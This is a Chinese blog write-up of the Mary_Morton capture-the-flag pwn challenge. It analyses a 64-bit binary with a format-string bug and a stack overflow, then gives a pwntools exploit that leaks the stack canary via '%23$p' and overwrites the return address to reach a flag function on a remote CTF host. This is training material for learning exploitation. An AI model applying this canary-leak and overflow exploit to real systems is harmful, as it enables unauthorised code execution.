攻防世界高手进阶区 ——Mary_Morton

攻防世界高手进阶区 ——Mary_Morton

在这里插入图片描述

不容易呀,这都已经是第七题了,继续加油!

一,老规矩,先分析一下文件

  1. checksec一下
    在这里插入图片描述

    发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的。

  2. 运行一下
    在这里插入图片描述

    告诉了存在栈溢出漏洞和格式化字符串漏洞。

  3. file文件

    ┌──(root💀kali)-[/home///ctf_workstation/Offensive_and_defensive_world/Mary_Morton]
    └─# file Mary_Morton                                                                              127 ⨯
    Mary_Morton: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
    
    

    是64位的文件。

  4. 上ida64

    void __fastcall __noreturn main(int a1, char **a2, char **a3)
    {
      int choice; // [rsp+24h] [rbp-Ch] BYREF
      unsigned __int64 v4; // [rsp+28h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      sub_4009FF();
      puts("Welcome to the battle ! ");
      puts("[Great Fairy] level pwned ");
      puts("Select your weapon ");
      while ( 1 )
      {
        while ( 1 )
        {
          chioce_enter();
          scanf("%d", &choice);
          if ( choice != 2 )
            break;
          string_loudong();                         // 格式化字符串漏洞
        }
        if ( choice == 3 )
        {
          puts("Bye ");
          exit(0);
        }
        if ( choice == 1 )
          stack_overflow();                         // 栈溢出漏洞
        else
          puts("Wrong!");
      }
    }
    

    已经对函数和参数重新命名了

    1. 这是格式化字符串漏洞

      unsigned __int64 sub_4008EB()
      {
        char buf[136]; // [rsp+0h] [rbp-90h] BYREF
        unsigned __int64 v2; // [rsp+88h] [rbp-8h]
      
        v2 = __readfsqword(0x28u);
        memset(buf, 0, 128uLL);
        read(0, buf, 0177uLL);
        printf(buf);
        return __readfsqword(0x28u) ^ v2;
      }
      
    2. 这是栈溢出漏洞

      unsigned __int64 sub_400960()
      {
        char buf[136]; // [rsp+0h] [rbp-90h] BYREF
        unsigned __int64 canary; // [rsp+88h] [rbp-8h]
      
        canary = __readfsqword(0x28u);
        memset(buf, 0, 128uLL);                       // 初始化内存为0
        read(0, buf, 0400uLL);
        printf("-> %s\n", buf);
        return __readfsqword(0x28u) ^ canary;
      }
      

      通过对汇编和C语言的分析,可以知道这两个函数都开启了栈溢出漏洞保护。

    在这里插入图片描述

    将fs寄存器偏移为0x28的数和rbp偏移为canary的数进行异或,然后根据结果跳转。

    如果相同就跳转到下一个函数,如果不相同则跳转到___stack_chk_fail函数,程序结束并报错。

    1. Canaries栈溢出保护的Canary一般在栈底前

      -000000000000000E                 db ? ; undefined
      -000000000000000D                 db ? ; undefined
      -000000000000000C                 db ? ; undefined
      -000000000000000B                 db ? ; undefined
      -000000000000000A                 db ? ; undefined
      -0000000000000009                 db ? ; undefined
      -0000000000000008 canary          dq ?
      +0000000000000000  s              db 8 dup(?)
      +0000000000000008  r              db 8 dup(?)
      
  • 这里补充一个readfsbyte的用法

    __readfsbyte、__readfsdword、__readfsqword、__readfsword
    从相对于 FS 段开头的偏移量指定的位置读取内存。
    
    参数
    Offset
    中从开始读取的偏移量 FS 。
    
    返回值
    字节、字、双字或四长四 (的内存内容由位置) 名为的函数的名称指示 FS:[Offset]

    二,解题思路

    这里存在两个漏洞,还开启了canary栈溢出保护,于是我们可以通过格式化字符串漏洞来泄露canary的值,然后在栈溢出覆盖时将canary覆盖上去。

    • 所以现在需要知道格式化字符串的偏移
    ┌──(root💀kali)-[/home///ctf_workstation/Offensive_and_defensive_world/Mary_Morton]
    └─# ./Mary_Morton
    Welcome to the battle ! 
    [Great Fairy] level pwned 
    Select your weapon 
    1. Stack Bufferoverflow Bug 
    2. Format String Bug 
    3. Exit the battle 
    2
    aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
    aaaa.4d2d1800.0000007f.d0b2d55e.99999999.00000000.61616161.30252e78.2e783830.3830252e.252e7838
    

    这里可以看出来偏移量为6

    • 知道偏移量后就可构造paylaod来泄露Canary的值了。
    step = 6
    payload = '%' + str(136/8+step) + '$p'
    

    三,EXP

    from pwn import *
    
    p = remote('111.200.241.244',62353)
    #p = process('./Mary_Morton')
    context(os = 'linux',log_level = 'debug')
    system_addr = 0x4006A0
    
    #binsh_addr = 0x7ffff7f6f882
    #bincatflag_addr = 0x400b2b
    
    flag_addr = 0x4008da
    p.recvuntil('3. Exit the battle')
    p.sendline('2')
    
    p.sendline('%23$p')
    p.recvuntil('0x')
    canary=int(p.recv(16),16)
    print (canary)
    
    payload = 'a' * 0x88 + p64(canary)  +'a'*8  +p64(flag_addr)
    
    p.sendlineafter('3. Exit the battle ','1')
    p.sendline(payload)
    
    p.interactive()
    
    • 这里学会了一些新的python使用方法

    int(x [,base]) ⇒ 将x转换为一个十进制的整数

    str(object) ⇒ 转换为字符串

    • 由于这里使用的是%p,所以需要将0x给去掉。

    • 使用p.recvuntil()来去掉0x。

    • 这里学会了一些新的python使用方法

    int(x [,base]) ⇒ 将x转换为一个十进制的整数

    str(object) ⇒ 转换为字符串

    • 由于这里使用的是%p,所以需要将0x给去掉。
    • 使用p.recvuntil()来去掉0x。
  • 后面就是简单的栈溢出处漏洞了,将buf的栈区给覆盖掉,然后将Canary的值以小端序的方式给覆盖上去。覆盖ebp地址,加上后门函数的地址即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值